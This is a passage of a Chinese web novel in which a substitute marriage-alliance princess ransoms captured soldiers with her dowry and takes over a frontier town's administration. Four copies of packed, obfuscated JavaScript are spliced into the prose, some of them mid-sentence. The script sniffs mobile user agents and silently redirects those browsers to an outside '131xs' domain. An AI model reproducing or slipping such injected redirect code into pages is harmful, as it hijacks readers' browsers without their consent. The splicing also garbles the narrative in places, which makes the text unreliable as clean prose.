这里虽没什么热闹的集市,但对于坐了一个多月马车的姜柠来说,能在空旷的街道走一走,也是一种幸福。 她呼吸着带有风沙的空气,感受到了身处旷野的自由。 她虽然带了零钱,但也没看中什么东西。这里的商品,跟姜柠平时用的东西根本不是一个档次。她只买了一些特色小吃,跟两个丫环分着吃了。 逛了一会,她有些饿了,便来到一家酒楼吃饭。这家酒楼有几张完整的桌椅,已经算是这一片难得的好去处了。 姜柠想点菜,老板却说没有菜单,得看看后厨有什么,就给姜柠做什么。 过了一会,伙计端出饭菜,都是一些很简单的吃食:一碟油麻饼、一碟花生米、一碟椒盐花菜、一碟炸蘑菇,几碗野菜汤。饭是杂粮饭,比较粗粝,难以下咽。 不过姜柠等人饿了,倒也不挑食,胡乱吃了。 姜柠问伙计:“你们店一向只有这样的吃食吗?” 伙计道:“不打仗的时候,食物丰富些。如今北胤、南萧两国已开战数年,城里很多青壮年都被征兵入伍了,田地荒废,又难以通商,食物日渐短缺。再加上容城丢了之后,我们栾伊城就直面北胤大军了,条件更加艰苦。您别看这些菜简陋,其他饭馆还做不出这么多菜呢,老百姓家里更没得吃。说起来,也要怪大皇子。” 姜柠道:“哦?这话怎么说?” 伙计见四下无人,放低了声音,道:“这话您可别往外传。我听说,皇上派大皇子来边疆历练,本来是让他听任将军的话,不要自作主张。任将军本来让他镇守容城西门,不得轻易离开。可他为了立功,偷偷带领两千精锐偷袭北胤,反倒被北胤全灭,大皇子也被俘虏。同时,他镇守的西门也被北胤军队攻破,所以北胤才能那么轻易地占领容城。 当时,任将军为了保留有生力量,才当机立断,放弃容城,退守栾伊城。你说说,要不是大皇子,战事能到如今这一步吗?听说朝廷派了公主前来和亲,要用公主换回大皇子。要我说,干脆就别换了。留着公主在身边,还能给皇上养老。大皇子回去能干啥呀?不够闹心的。” 听着这伙计的话,姜柠几乎快笑出来了。这伙计自然不知道姜柠就是和亲公主,所以才无所顾忌地说话。 伙计又问道:“姑娘,您长得这么漂亮,细皮嫩肉的,是外地来的吧?” 姜柠道:“对,我随父母过来,他们有点事要办,我就到处逛逛。” “您还是别到处逛了,好多店铺都不开,北胤军队说不定什么时候就打过来了,赶紧回到客栈去躲着比较好。” “和亲公主都来了,北胤军队还会打过来吗?” “这可说不准,我们这儿离敌军很近,什么事都可能发生。总之,还是小心为上。” 姜柠点点头,结算了饭钱,便离开了。 冬香问道:“公主,我们现在回官衙吗?” 姜柠想了想,道:“我想去栾伊城的城墙上看看,从城墙上也许能望见容城。金妈妈现在应该就在容城里面吧。” 金妈妈是姜柠小时候的乳母,在姜柠八岁的时候离开了姜府。金妈妈跟姜家签的是典身契,不是卖身契。典身契会约定做工的年限,年限一到,准许自行离开,所以金妈妈并不算是姜家的奴仆。 金妈妈是容城人,回到容城后,还给姜柠寄过几次东西。姜柠一直想去看看金妈妈,但都没有成行。没想到,如今容城落入了北胤手中,也不知道金妈妈现在安不安全? 她心中牵挂,因此便登上了栾伊城的城墙,远眺容城。士兵们本来不许姜柠上去,但姜柠表明了身份,士兵们也不敢阻拦。 两座城相距并不远,从城墙上可以看见,容城现在被北胤军队重兵把守。北胤将士身着红色衣服,系着黑色腰带,很好辨认,密密麻麻的就像一个个红色的小点。 从这里只能看见士兵们,看不见容城的百姓,更不知道金妈妈住在哪里。姜柠心中有些怅然。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146951|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过她倒是听说,北胤攻占容城后,并未残害百姓,那么金妈妈大概率还活着。 姜柠心中很想把金妈妈救出来,或者把整个容城夺回来,这样容城的百姓都能回归故国了,不用被敌国所统治。 她用意念问系统:“多宝,话本里有提及我的乳母金妈妈如何了吗?” 小狗的身形在姜柠眼前出现,道:“让我看看……几乎没有提到,话本里只写了你被人欺负的时候,会经常想起自己的乳母金妈妈,想起她对自己非常好。其他的就没有提及了。” “所以,你也不知道她后来过得好不好?” “不知道,因为金妈妈是一个没什么戏份的角色,在这个世界里,她应该就是过着普通的日子吧,不好也不坏。” “那我以后会跟她重逢吗?” “好像不会。你马上就要嫁到北胤去了,也没有机会见到这些故人了。” “好吧。那容城呢?一直被北胤占领吗?” “好像是吧。” “我明白了。看来,只能依靠自己了。” “姜柠,难道你想在这个节骨眼上,跟金妈妈见面吗?我觉得不太可能。” “以现在的情况来说,当然不太可能。但若是我在和亲的日期前就攒够十万积分,以后的事情不都是我自己决定了?” “理论上是这样,但距离和亲只有一个月的时间了,你不太可能在短短一个月内攒够十万积分的。” 姜柠也觉得系统的话是对的。要攒够十万积分,谈何容易,不可能在一个月之内完成的。 看来,自己要在和亲之前跟金妈妈见一面,只怕是痴心妄想了。 就算自己以公主的身份,逼迫任将军他们把金妈妈从容城赎出来,那她又以什么立场提出这件事? 自己现在是大公主萧梦苒,跟姜柠的乳母金妈妈应该不认识才对。 姜柠犯了难,也只能远望着容城的方向,暗暗叹息。 冬香问:“公主,您为何一直看着容城的方向?” 姜柠道:“冬香,小雪,你们还记得金妈妈吗?” 冬香:“记得,她是您以前的乳母。后来您逐渐长大了,不需要乳母了,她就回乡了。” 小雪:“我也记得,金妈妈做的菜可好吃了,那时候我还经常央求金妈妈给我开小灶呢。” 姜柠:“金妈妈是容城人,现在就住在容城。可是容城已经被北胤占领了,也不知道金妈妈现在过得好不好。” 冬香道:“这完全取决于北胤那边会如何对待容城百姓了,不是我们能够左右的。” 姜柠叹息道:“是啊,为什么我们的命运总是掌握在别人手上?哪怕我现在是公主了,却还是有无能为力的事。” 小雪安慰道:“公主别担心,北胤占领容城,也肯定是为了更好地治理,收更多的赋税,那北胤军队肯定不会为难普通百姓的。如果杀了那些百姓,谁来种田,谁来纺织,谁来服徭役?” 9. 俘虏(修) 姜柠道:“你说的也有道理。我们先回去吧。” 姜柠和两个丫环回到官衙,见二皇子萧奕知站在院子里。 姜柠便打招呼:“二皇子。” 二皇子道:“皇姐,尚书令、中书令两位宰相因事务繁忙,已经先行回京,他们让我跟皇姐告罪,说不能继续在官衙相陪了。” 姜柠点头道:“两位宰相千里护送我来栾伊城,我已经很感激了,没道理让他们继续逗留边境。” 宰相责任重大,日理万机,几乎不能有一日离开京师。这次姜柠要两位宰相一路护送,已经算是皇帝很给姜柠面子了。 二皇子又说道:“我会继续留在这里,直到把大皇姐平安送到北胤,并接到大皇兄为止。” 姜柠:“有劳皇弟了。” “栾伊城已经跟北胤大军接壤,并不安全,皇姐还是多待在房间内,免得遇到危险。” “好。” 二皇子这话倒也是正理,姜柠现在的身份是和亲公主,肩负重任,不能出一点差错。 反正她也不是好动的人,这段时间就待在官衙里好了。 这时,却见任景行将军有些忧虑地走进来,对二皇子说道:“二皇子,栾伊城县令重病,没法理事,末将又要管理军队,抵御北胤大军。您既然暂时不会离开,能否请您暂管城中事务?” 二皇子为难道:“我并不精通政务,而且官员的任免都需要经过吏部和皇上,我怎能私自暂代县令之职?” 任将军道:“这里只有二皇子身份最高,且您以前也曾被外派到地方做官,有管理经验。末将只当过将军,对政务处理并不熟悉。您是皇子,代管几日政务问题不大,皇上也不会在意这种小事。” “还是不妥。这并不是小事,我不敢自专。若是县令和任将军有意让我代管,还请上书吏部,得到吏部和皇上的批文后,我才能上任。” “栾伊城距离京城过远,如果要走这个流程,一来二去的,说不定县令的病都好了,您也到了离开的时候。到那时,即便有吏部的公文,又有什么意义?依末将看,不必如此死板,您先代管事务,等回到京城,再向吏部和皇上说明情况便是。只要您管得好,皇上难道还会怪罪您不成吗?” “就算县令重病,城中应该还有一些属官,让属官们管理便是。” “栾伊城的属官并不齐全,而且大多老迈,没法承担重任。” “还是请任将军另请高明吧,我实在不能担此重任。” 无论任将军如何劝说,二皇子都不愿意暂代县令之职。 这也难怪他,他出身低微,十分谨慎,不敢做任何僭越之事。代管栾伊城虽然是小事,但若是有心人想拿此做文章,对二皇子来说也是个麻烦。 在皇上心里,二皇子一直是一个老实本分、没什么存在感的孩子。如果二皇子表现出积极进取、关心政务的模样,恐怕对皇上和靳贵妃来说,不是好事,反而是个威胁。 任将军一直在外领兵,自然不懂这些弯弯绕绕,只觉得二皇子过于迂腐。但他也没什么办法,只得说道:“既然二皇子不愿管理,那就只好末将代为管理了。” 他让自己的几个下属管理军队,自己则搬回衙门来,准备处理城中事务。 只是,他十分为难,因为抵御北胤军队才是他的主要任务,如果再为城中事务分心,万一边关出了什么差错,他是要负责的。 姜柠看在眼里,忽然觉得,如果自己暂代县令之职,不就可以趁这段时间多做善事,积攒积分了吗? 可是,以前从未有过公主从政的先例,任将军只怕不会同意。 但姜柠不想放弃这次机会,她决定先让任将军看到自己的能力。 于是,她趁着别人不注意,又带着几个暗卫出了门。 离开县衙没多远,她就看见几个士兵在争执。 其中一个年长的士兵道:“我看你们精神这么好,一点都不像生病的样子。” 一个瘦小的士兵道:“长官,我们确实生病了,没法去操练。” 年长士兵道:“既然生病了,总喝过药吧?把药渣拿出来给我看看,我才相信。” 瘦小士兵道:“我们为了省钱,都没买药,都是自己扛着。” 另一个黑皮肤士兵道:“没错,等我们身体好了,一定会去操练的,还是请长官先去找别人吧。” 那个年长士兵应该是个军官,他把其他几个士兵挨个打了一遍,怒道:“我看你们只是找借口而已!军令如山,哪容你们说不去就不去?你们是来当兵的,不是来享福的!现在百姓们好吃好喝供着你们,你们就不想回战场了是吧?” 黑皮肤士兵道:“长官,我们没有……” 军官道:“你住嘴!生病与否是能看出来的,不是你们自己说病了就是病了。你们分明是不想当兵了,既然如此,都卷铺盖回家好了!” 一个瘦弱士兵道:“要我们回家可以,先把我战死的爹和被俘的三个哥哥还给我。” 另一个高挑士兵道:“没错,我的两个弟弟都被北胤俘虏了,可是你们都不管了。我们这些普通士兵,累死累活有什么用?根本没人在乎我们!” 军官道:“战场上被杀、被俘都是常事,我有什么办法?你们既然来当兵,就要有这样的觉悟!在战场上,不管是军官还是士兵,风险都是一样的。跟我同级的军官,也有好几个被俘或者被杀的,难道我也抱病不去操练了?那成何体统?” “被杀的人已经不能复生了,但是那些被俘的士兵,总能想办法救一下吧?” “怎么救?为了救那些被俘的士兵,咱们继续跟北胤开战,填进去更多士兵的命?你们觉得这合适吗?和亲公主已经到了,马上就要嫁到北胤,到时候不会再有战争,我们都能得到保全了。但我们身为士兵,还是要继续操练的。不管敌人进不进攻,我们都要有防御和反击的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146952|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力。” “长官,您这话都自相矛盾。您都说了和亲公主嫁入北胤,就不会再有战争,可又说不确定敌人会不会再进攻,所以要我们继续加强操练。那这公主和亲到底是有用还是没用?如果有用,我们直接原地解散好了。如果没用,那公主为什么要去和亲?” “这……” 军官也被问住了,不知道怎么回答。 其实,有些事三言两语说不清。 和亲确实能起到一定的效果,至少在短时间内,两国不会再开战。 但要是想保持永久的和平,是不可能的,弱国必须一次次地送出和亲公主,来维持动态的和平。 想要真正止战,只有让自己的国家比周边国家都强大,这样才能有话语权。 而那些一次次被送出去的和亲公主,她们的命运自然不会好,要么被杀,要么低质量地活着,很多事情都身不由己。 这些道理,一个小军官解释不明白。就算解释明白,普通士兵也听不懂。 姜柠心中暗暗叹息。 那个军官只能对士兵们说道:“你们不要说这些有的没的,总之回去继续操练就是军令,你们遵从军令就可以了。” 然而,这几个士兵十分消极,不愿去操练,继续跟这个军官争执。 姜柠又往前走了走,发现这种士兵们争执的事情还不少。 军官们虽然身份更高,但双拳难敌四手,士兵们士气低落,也不是他们三言两语能解决的。 姜柠觉得,如果能让被俘的士兵们回来,也许有助于士气的恢复。 那些被俘的士兵里,有普通士兵的朋友、亲人。物伤其类,如果长官和国家对被俘的士兵不闻不问的话,其他士兵也会变得消极。 于是,姜柠去见了任将军,把自己的见闻和想法都跟任将军说了。 任将军道:“难得公主如此关心士兵们的情况,只是自从北胤、南萧两国开战以来,士兵被俘者有数千人。俘虏一般会作为战利品,分给有功的将士,被他们带回家做奴隶。要想让被俘的士兵们回来,并不容易。” 这一点,姜柠也是明白的。 在战场上论功行赏,将士们除了能获得金钱、爵位之外,俘虏也是很重要的奖赏。 朝廷的赏赐往往会因各种原因延迟或少发,所以在战场上直接得到俘虏,就成了实打实的好处。毕竟带回家也是劳动力,能减轻家里的负担,俘虏也不需要花太多钱。 姜柠问道:“难道南萧没有抓北胤的士兵吗?两边交换俘虏怎么样?” “北胤的俘虏,现在还活着的有八百多人。但南萧被俘虏的将士有两千多人,人数上并不对等。我也跟北胤将军提议过交换俘虏之事,用我们这边的八百多人交换他们那边的八百多人,谁也不吃亏。但北胤将军没有同意,此事就耽搁了下来。” “北胤将军难道不希望自己的士兵们回去吗?为何不同意交换?” 10. 赎回(修) “可能俘虏们已经被各级将士瓜分了,要从将士们手中收回俘虏并不容易,恐怕会让下属们产生不满,造成军队管理上的隐患。所以北胤将军不同意交换俘虏,也可以理解。我这边的俘虏都还没分发下去,现在被集中关押着,无论要如何处理,都比较容易一些。” “原来是这样……那用钱赎回俘虏怎么样?” “一来军费紧张,并没有这方面的预算;二来近年来战事频繁,并没有赎回俘虏的先例,军中的策略都集中于怎样打更多的胜战上,对于已经失去的士兵,都只能暂时放弃。” 姜柠想了想,道:“我的嫁妆里有许多金银珠宝,不如用这些钱去把战俘赎回来。北胤的将领们虽然失去了俘虏,但能得到金钱补偿,想必就不会有意见了。” “这万万不可,怎能动用公主的嫁妆?” “被俘的士兵也是我南萧国的子民,我用自己的钱救他们,没什么不可以的。” “但公主即将嫁往北胤,不能没钱傍身。” “任将军放心,我不会花掉所有钱的。不如您先去跟北胤将军谈判一下,看北胤要收多少钱,才肯释放全部俘虏。” 任将军十分敬佩,对姜柠行了一礼:“公主大义,末将和众将士们都铭感五内。” 任将军修书一封,给北胤的李长彬将军,商量用钱赎回俘虏的事。 李将军回信来,说是可以用两万两银子赎回南萧国所有俘虏。 收到回信后,任将军有些生气,说北胤那边是狮子大开口。 姜柠道:“两万两银子虽多,我也凑得出来。任将军,我现在回去清点嫁妆,你准备好赎人吧。” 任将军十分惊讶:“公主,您真的要出这么多钱?” “对啊。若是出不起,那也没办法。但我既然有钱,自然要出的。” 姜柠对自己的嫁妆也有个大概的估算,金银珠宝有十来箱,其价值应该在两万两之上。 任将军不愿意让姜柠出这么多钱,想另外想办法,姜柠劝道:“任将军,现在除了我的嫁妆之外,还能去哪里找两万两银子?总不能挪用军费吧?军费每一笔用途都需谨慎,朝廷没有同意你赎回战俘,你用军费去赎回,只怕会获罪。为今之计,用我的嫁妆是最好的。 您别犹豫了,您多犹豫一刻,那些俘虏就多受罪一刻。俘虏不会得到善待,每天都有人死去,赎回他们刻不容缓。” 任将军也知道姜柠言之有理,但心中仍是十分不忍,道:“公主,您为了南萧百姓,已经要牺牲自己了,现在又要把自己的嫁妆贡献出来,凡是有心肝的人,都不忍您这样做。” “任将军的好意,我心里明白。但是,如果一直这样感情用事,只会误事。我虽然不得不去北胤和亲,但谁知道未来会发生什么呢?也许我能过得很好,也许我能靠自己的力量维持两国和平。两千多被俘的士兵不是小数目,早点让他们回来,也能增强我国军队的力量,说不定将来还要靠他们打回北胤,把我救走呢。” 见姜柠这样说,任将军也不再优柔寡断,同意了姜柠的提议。 姜柠回到房间,让冬香和小雪清点嫁妆,凑出两万两银子。 经过统计,姜柠差不多要用掉七箱嫁妆,才能凑够两万两银子。 冬香道:“公主,如果把这七箱嫁妆捐出去,您的钱就所剩无几了,大部分箱子里都是一些土特产、衣服、被子、碗筷之类的东西。” 姜柠点头道:“我知道,不要紧的。” “可是,您嫁往北胤之后,也许跟这些被俘的士兵再也见不着面了。您要为了一群见不了面的陌生人这样付出吗?” “我有能力救他们,总不能视而不见吧?人的生命是平等的,用一些钱就可以救回两千多人,而且我并不需要付出生命或是其他东西,已经很好了。而且,我并不想要他们报答。” “那我们去北胤后,如果有要用钱的地方怎么办呢?” “船到桥头自然直,而且我们未必会去北胤。” “啊?” 冬香有些不解。 姜柠笑道:“未来的事不一定会发生,所以无需为未来担忧。也许过些日子,皇上就会取消和亲的命令。也许北胤那边会发生什么事,没法继续和亲。凡事要往好处想嘛。” “这算是异想天开吧?” “哈哈,异想天开也没什么不可以。” 姜柠没有说出口的是,如果她能在这一个月内凑够十万积分,也许就不用去和亲了,她就可以摆脱原剧情的影响。 这个事情解释起来很费劲,她也不打算跟身边的人解释,所以只能用一些别的理由安慰她们。 小雪年纪小些,天真烂漫,万事不操心,倒是很乐观地说:“我觉得公主说的对,说不定咱们明天就捡到钱了呢,捡到十万两,再也不用为未来发愁。” 冬香笑着点了点小雪的脑袋,道:“你去哪里捡十万两?你捡一个给我看看?” “你不信我?那等我捡到了,可不会分给你。” 姜柠在一边笑个不停,心情也轻松了一些。 她让任将军派士兵来,搬走自己的七箱嫁妆,交给北胤军队。 任将军用这七箱金银财宝,把南萧被俘的两千多名士兵全都换回来了。 换俘虏的时候,姜柠没有出来,因为任将军说场面太乱,怕公主受伤或是被冲撞,姜柠就待在县衙里。 有关于被俘士兵们的消息,都由暗卫实时汇报给姜柠。 北胤的李长彬将军倒也是个人物,说了可以用钱赎战俘,就不搞小手段,钱到手后,把战俘全放了。 当然,战俘的人数肯定比之前少了一些,这段时间有一些战俘死在北胤了,这也是没办法的事。 战俘们回来后,其他士兵士气高昂,十分兴奋,纷纷感激大公主,都说大公主是个好人。 军中对大公主萧梦苒,赞声一片。 姜柠没法泄露自己的真实身份,只能让这些士兵感激大公主萧梦苒,不过她也无所谓。她本就是做好事不留名的人,只要战俘们平安回来,其他都不重要。 系统出现在姜柠面前,道:“姜柠,你太棒了!你用嫁妆换回这些战俘,获得了三万积分。” 姜柠心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146953|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一动:“这么说,我有希望在短期内凑够十万积分了?” “可是,像赎回战俘这样的大事也不是经常能碰上吧?平时你只能接触到一些小善事,那积攒积分也慢一些。” “好吧,祝我好运。” 这些被俘的士兵在敌营过得十分辛苦,有很多人伤病缠身,需要休养。 任将军让他们回自己之前的小队去,由小队里的其他士兵照顾。 这样,每个被俘的士兵都能得到妥善的照顾,而且还不用任将军这些将领们太费心。 为了鼓励这些士兵们振作,任将军决定三日后举办一场篝火晚会,庆祝这些士兵回归。 在这几天里,受伤的士兵要抓紧养病,争取出席篝火晚会。 大家自然不愿意错过这么热闹的庆典,都一心一意地休养,不去想过去的一些艰难困苦,保持好心情,这样有利于恢复。 姜柠心中很佩服任将军,他很懂得如何统御下属,在短时间内想出了好几个让士兵们恢复元气的办法。 虽然姜柠以后应该也不会行军打仗,但是还是可以从任将军身上学到一些东西。 被赎回来的士兵们都想当面感谢姜柠,为了维持秩序,任将军拒绝了他们跟姜柠见面的请求,只说让他们安心休养,等三日后的篝火晚会,公主自然会出来跟他们见面。 这些士兵们很听任将军的话,也就按捺下激动的心情,决定等上几天。 毕竟姜柠暂时不会离开,他们不用急着见公主,免得让公主太累。 等安顿完所有士兵后,任将军亲自来到县衙,见了姜柠,说道:“公主,三日后的篝火晚会,您一定要出席。大伙都盼望着亲自拜谢您呢。” 姜柠笑道:“嗯,我一定去。” 姜柠赶了很久的路,一路上都十分枯燥,难得可以参加热闹的集会,她自然不能错过。 姜柠问道:“到时候有表演吗?” 任将军道:“会安排的。军中有些士兵有才艺,到时候让他们上台表演,公主您在后面看着就行。” “不错,那我就等着看了。” “那末将就不打扰公主了……” 任将军话说到一半,忽然咳嗽起来,脸色也不太好。 姜柠问道:“任将军,您没事吧?” 任将军勉强笑道:“没事,可能是这些天太辛苦了,生病了。我吃几服药就好了。” 这时,衙门里有几个小吏走过来,对任将军道:“任将军,衙门里有些事务需要您处理。” 任将军点头道:“我知道了,马上过来……” 但是任将军又开始咳嗽了,那几个小吏有些犹豫,有劝任将军休息的,也有劝任将军带病工作的,意见不统一。 任将军制止了他们的争论,道:“你们不用吵了,本将军在一日,就会管城中事务一日,不会撂挑子的。你们先把公文放在我房间,等我身体好些了就会看。” 小吏们道:“是,那我等先行告退了。” 姜柠忽然产生一个想法。她大着胆子对任将军道:“任将军,我有一事想跟你商议。” 11. 点卯(修) “不知末将有何事能为公主效劳?” 姜柠屏退左右,对任将军低声道:“任将军,你又要管军中事务,又要管衙门里的事,十分辛苦。而且你现在都生病了,不宜劳累。我想,如果我替将军管理衙门的事务,不知是否可行?” 说完这些话,姜柠心里打鼓。她不知道任将军会作何反应,怕被拒绝。 同时,她又觉得自己很有勇气,总算是把心里话说出来了。想要的东西,自己争取,不管成功还是失败,总归是迈出了一大步。 而且,她现在身为公主,地位其实比任将军高。哪怕说的话不合适,任将军也不会发怒或者把她怎么样。 谁知,任将军的反应完全出乎姜柠的意料。 任将军喜出望外,道:“若公主能接手县衙事务,再好不过。末将从来没当过县令、刺史一类的地方官,处理政务有些困难。之前原想叫二皇子接手,可他一味回避。不知公主是否有管理地方的经验?” 姜柠道:“暂时没有。不过,我以前管过闺中的一些事务,也不算全无经验。稍加学习,应该就可以了。” 姜柠在姜府时,多次帮着祖母打理府中事务,而且管得不错。 管理一城事务虽然大一些,但想来道理都是相通的。 任将军也不介意,道:“公主如此聪慧,想必处理政务对您来说不是难事。而且您也不需要管太久,等现任潘县令身体康复,就可以让他继续管理了。衙门中有县丞,还有一些年长的小吏,您有什么事可以跟他们商量着来。如果遇到实在难以处理的事,可以来找末将商议。” 姜柠点头:“好。” “那末将就可以专心管军营事务了,先行告退。三日后的篝火晚会,请公主记得来。” “好,任将军慢走。” “末将先去跟衙门的官吏们说一声,让他们全力配合公主。” “有劳任将军了。” 这么轻易就拿到了管理一座城的权力,姜柠心中很激动。 她想要不任人宰割,掌握权力是很重要的。 若换了以前,她身为大臣之女,是绝对没有出仕的机会的。 但现在顶替了大公主的身份和亲,逗留边境,反而给了她历练的机会。 祸福相依,没有绝对的坏事。只要有心,在不利的情况下也可以为自己谋一些利益。 而且,就算这件事传回京城,她也不怕。 她马上就要去北胤和亲了,皇帝不会在这个节骨眼上,问罪于她。她肩负和亲的重任,只要把和亲这件事完成,其他小事无伤大雅。 当然,她若是能及早攒够十万积分,不去和亲,那到时候再想办法应对朝廷的问责就是了。 晚上,姜柠打开了夸夸群。 群里的人问姜柠这几天在干什么,姜柠就把赎回俘虏的事和拿到管理权的事说了。 【有趣的灵魂一百多斤:哇,姜柠太棒了!】 【活人微死:姜柠心怀大爱!】 【樱桃小完犊子:姜柠好善良啊!那些士兵一定会很感激你的!】 【姜柠:应该会吧,不过我不在意。】 【你已被群主移出群聊:姜柠做好事不求回报,已经到达了一个很高的境界了!】 【感觉尸体暖暖的:向姜柠学习!】 【回笼教教主:不愧是女主啊。】 【只涨工资不长肉:姜柠现在的积分有多少了?】 【姜柠:三万多。】 【只涨工资不长肉:哇,涨得这么快!这么说明天就能到十万了!后天就二十万了!】 【姜柠:哈哈,哪有这么夸张。】 【你已被群主移出群聊:这么说,用积分改变命运,指日可待。】 【姜柠:嗯,最好在这一个月内攒够十万积分,这样我连北胤都不用去,也不用见男主,哈哈。】 【活人微死:赞,大女主还能这么活。】 【回笼教教主:我不太喜欢看虐恋,如果能不见男主的面简直太完美了。】 【有趣的灵魂一百多斤:如果真的能不去北胤,姜柠要干什么?回家吗?】 【樱桃小完犊子:可是皇帝那边没法交代吧?而且她跟大公主的身份都已经换了,难道要再换回来吗?那岂不是让皇帝昭告天下,说他为了自己的女儿,牺牲了大臣之女?】 【姜柠:我也不知道,我想到时候应该有解决的办法。实在不行我一直在外面混着好了。】 【活人微死:哈哈哈,既来之,则安之。我看,姜柠一直在这里做城主也不错。】 【姜柠:我只是暂代城主之职,不可能成为正式城主的。】 【活人微死:谁说不行?你一定可以。】 【回笼教教主:没错,咱不当虐文女主,把日子过成爽文。】 【姜柠:何为爽文?】 【回笼教教主:就是非常爽、非常自由、霸气侧漏的人生。】 【姜柠:听起来不错,我喜欢。】 【你已被群主移出群聊:姜柠觉悟真高,比其他虐文女主高出一大截。】 【姜柠:谢谢夸奖。我觉得其他虐文女主挺可怜的,因为她们只能跟着剧情走,没有系统,没法改变命运。】 【你已被群主移出群聊:别想太多,她们没有觉醒的话,其实就是书里的人物而已,没有自主思想的。】 【姜柠:嗯。】 第二天,姜柠起了个大早,去了衙门的公廨。 她一直在县衙,不过是住在客房里,算是暂居的客人。现在她还是第一次以代理县令的身份踏足公廨。 她心里有些害怕,怕遭到别人的排斥,怕自己处理不好政务。 不过,不管心里怎么想,她面上都装出一副落落大方的样子。 她来得早了,公廨里只有几个小吏和两个捕快在。 姜柠便问他们:“衙门里一共有多少人?” 一个小吏回答道:“衙门里人不多,很多岗位都缺人。除了县令之外,有一个县丞,但没有主簿和典史。再往下就是吏员和捕快、士兵了,做事的人总共加起来应该不到一百个。 这里常驻的士兵只有四十人,自从任将军带领军队退守栾伊城,我们如果需要士兵,会去向任将军借调。任将军没来的时候,各个部门的人手都欠缺。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146954|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜柠对栾伊城的官吏情况有了大概的了解。 在一般的县城衙门,真正可以称为“官”的很少,只有县令、县丞、主簿、典史等。 其他办事的人员都是吏员或是杂役,这两种人数较多。 而官主要负责决策,真正办事还得依靠手底下的人。 虽然栾伊城不大,但办事的人不到一百个,还是少了点。 姜柠问道:“那要是公务太多,忙不过来怎么办?” 小吏道:“其实一直都忙不过来,我们一般是选一些重要的事去做,其他事情,百姓们能自己调节的就自己调节,所以乡贤们的存在尤为重要。百姓们碰上官府没工夫管的事情,会去请乡贤们决断。” 姜柠点了点头。 所谓乡贤,就是十里八乡比较受人敬重的人,比如有一些德高望重的文人,或是有钱有势的乡绅。 事实上,很多时候,你是不是一个“贤人”,有没有高贵的品德,其实不是你自己说了算,而是跟身份地位挂钩。 有钱有势的人,自然有更多的方法去宣扬自己的好名声。 所以,所谓“乡贤”,未必都是贤人。当然,其中也有一部分是好人,乐于助人的。 而地方官能不能混得开,其实跟乡贤一派关系很大,因为乡贤是地头蛇,长官反而要跟他们搞好关系。 官员都是不能去自己的家乡上任的,做官的地方一定是人生地不熟之处。如果被乡贤们针对,他们明面上可能尊敬你,但背地里会搞一些小动作,也是很头疼的。 这小吏问道:“公主,您不在客房休息,四处逛逛,怎么想起管理栾伊城的事了?” 姜柠道:“我有管理宫中事务的经验,恰逢县令生病,任将军又忙于军务,所以我想代管。一来是为了栾伊城的稳定着想,二来也是为了给祖国的百姓们多做点实事,毕竟我马上就要去和亲了。你们该不会是不欢迎我吧?” 小吏赶紧说道:“怎么会呢?难得来了个愿意做事的,我们高兴还来不及。哦,我的意思是,我们平时也做事,但是吧,缺人手……” 姜柠微笑道:“无妨,想说什么就说什么吧。” 这些小吏倒不排斥她,这让姜柠有些惊喜。 她本以为,自己还要跟这些吏员、杂役斗智斗勇,才能真正掌权呢。 但其实,在基.层,事情一大堆,只要肯做事,人家自然欢迎。 尤其是姜柠现在有公主的身份,是这栾伊城里地位最高的。她肯来管事,那是赏脸,这些底层的吏员自然不敢多加为难。 姜柠也不跟他们摆架子,而是闲聊了一会。很快,双方的距离就拉近了。 毕竟,姜柠无论要下什么命令,都是要这些底下的人去执行的,跟他们搞好关系没有坏处。 闲聊了一会,其他吏员也稀稀拉拉地到齐了。 县丞是个体型偏瘦、头发半白的老头,干瘪的脸色就像这栾伊城的风霜。 他叫余庆,对姜柠拱了拱手,就算见礼了。 他的热情大概是被长年累月的琐事给消磨没了,脸色有几分不耐烦。他极力想做出一副平和的样子,但装不出来。 12. 小事(修) 不过,姜柠也不计较。这种偏远地区的官吏,还能记得来衙门点卯就不错了。 姜柠对余县丞道:“余县丞,这几日还请您多多指教。” 